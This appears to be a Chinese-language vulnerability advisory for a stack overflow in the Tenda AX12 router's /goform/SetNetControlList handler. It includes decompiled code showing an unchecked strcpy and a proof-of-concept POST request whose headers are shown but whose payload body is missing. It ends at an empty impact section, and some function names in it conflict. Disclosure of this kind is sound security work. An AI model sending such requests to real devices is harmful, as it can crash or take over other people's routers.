# Tenda AX12 V1.0 V22.03.01.46 存在堆栈溢出漏洞

### 概述:

影响设备: Tenda AX12 V1.0 影响固件版本: V22.03.01.46

影响: 拒绝服务攻击, 栈溢出可以进一步获得root shell

固件下载地址: https://www.tenda.com.cn/download/detail-3621.html



## 漏洞:

该漏洞位于 /goform/SetNetControlList 中对获取的请求参数 list 没有长度限制,最终可以导致 堆栈溢出

在 httpd 文件中的 sub\_41DE60 函数中存在目标漏洞函数 sub\_43FDCC

可以通过读取请求参数 list 传入 sub 43FBBC,如下图:

传入的 v1 作为变量 a1 被函数 strcpy 复制到变量 v14 中,而它的偏移量仅仅为0x208,意味着可以构造长度大于它的字符串达到栈溢出的效果,可以造成拒绝服务攻击,进一步可以构造exp获取root shell

```
1 int fastcall sub 43FBBC(int a1, int a2)
_BYTE *v4; // $v0
_BYTE *v5; // $s2
int v6; // $s1
int v8; // [sp+20h] [-254h] BYREF
int v9; // [sp+24h] [-250h] BYREF
int v10; // [sp+28h] [-24Ch]
int v11[4]; // [sp+2Ch] [-248h] BYREF
int v12[4]; // [sp+3Ch] [-238h] BYREF
char v13[32]; // [sp+4Ch] [-228h] BYREF
char v14[256]; // [sp+6Ch] [-208h] BYREF <---
char v15[256]; // [sp+16Ch] [-108h] BYREF
v8 = 0;
memset(v14, 0, sizeof(v14));
v9 = 0;
v10 = 0;
memset(v13, 0, sizeof(v13));
memset(v11, 0, sizeof(v11));
memset(v12, 0, sizeof(v12));
memset(v15, 0, sizeof(v15));
sub 43F82C();
while (1)
  v4 = (_BYTE *)strchr(a1, a2);
  if (!v4)
    break;
  *v4 = 0;
  v5 = v4 + 1;
  memset(v14, 0, sizeof(v14));
  strcpy((int)v14, a1);
```

### POC:

POST /goform/SetNetControlList HTTP/1.1

Host: 192.168.122.15

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,

like Gecko) Chrome/115.0.5790.171 Safari/537.36

Accept: \*/\*

Accept-Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 3485

Origin: http://192.168.122.15

Connection: close

Referer: http://192.168.122.15/index.html

Cookie: password=12345678

## 影响效果:

